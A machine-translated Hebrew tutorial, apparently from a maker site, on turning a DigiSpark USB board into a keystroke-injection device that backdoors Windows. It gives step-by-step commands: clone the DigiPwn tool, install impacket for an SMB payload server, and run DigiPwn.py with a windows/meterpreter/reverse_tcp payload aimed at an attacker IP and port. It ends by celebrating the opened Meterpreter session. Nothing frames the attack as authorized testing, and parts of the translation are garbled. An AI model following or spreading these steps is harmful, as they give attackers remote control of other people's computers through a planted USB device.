תוכן עניינים:
2025 מְחַבֵּר: John Day | [email protected]. שונה לאחרונה: 2025-01-13 06:57
אז מה אנחנו עושים כאן?
DigiSpark הוא כלי פיתוח קטן מבוסס Arduino שיכול לשמש כקלט מקלדת HID. היום אנו מניפולציות במכשיר זה לדלת אחורית של מערכת הפעלה של Windows!
אספקה
Arduino IDE
מכונת חלונות
DigiSpark
מסגרת Metasploit
פייתון 2.7 (הערה: אתה צריך פייתון "2.7" לא מתאים לגרסה אחרת)
חסום
מוֹחַ! זה עוזר
שלב 1: שיבוט מאגר DigiPwn
שיבוט למאגר GitHub של DigiPwn by
שיבוט git
כעת שנה את הספרייה ל- DigiPwn על ידי
תקליטור DigiPwn/
שלב 2: התקן את Impacket [מודולים הנדרשים על ידי Python]
מודול זה נדרש להפעלת שרת SMB הנדרש עבור ספריית מטען
sudo apt-get להתקין python-impacket
או שאתה יכול להוריד את ספריית impacket ולהתקין אותה מכאן.
שלב 3: מאפשר ליצור את המטען
לָרוּץ
python DigiPwn.py [HOST] [PORT] [PAYLOAD] [OUTPUT FILE] [פורמט]
לְשֶׁעָבַר
python DigiPwn.py 192.168.1.2 8080 windows/meterpreter/reverse_tcp win.vbs win.vbs
כעת תישאל אם להפעיל את הערימה ושרת ה- SMB. הקש y והקש enter
שלב 4: כעת העלה את הקוד ל- Arduino
לפני שאנחנו מעלים עלינו לוודא שלוח DigiSpark מותקן בארדואינו לשם כך.
לאחר מכן העלה את הקובץ keystroke_inject.ino שנוצר על ידי התסריט. לאחר שתסיים אתה מוכן
שלב 5: הגיע הזמן לחבר את התינוק
חבר את DigiSpark שלך כעת והמתן 10 שניות
בום נפתחה פגישת מטרים!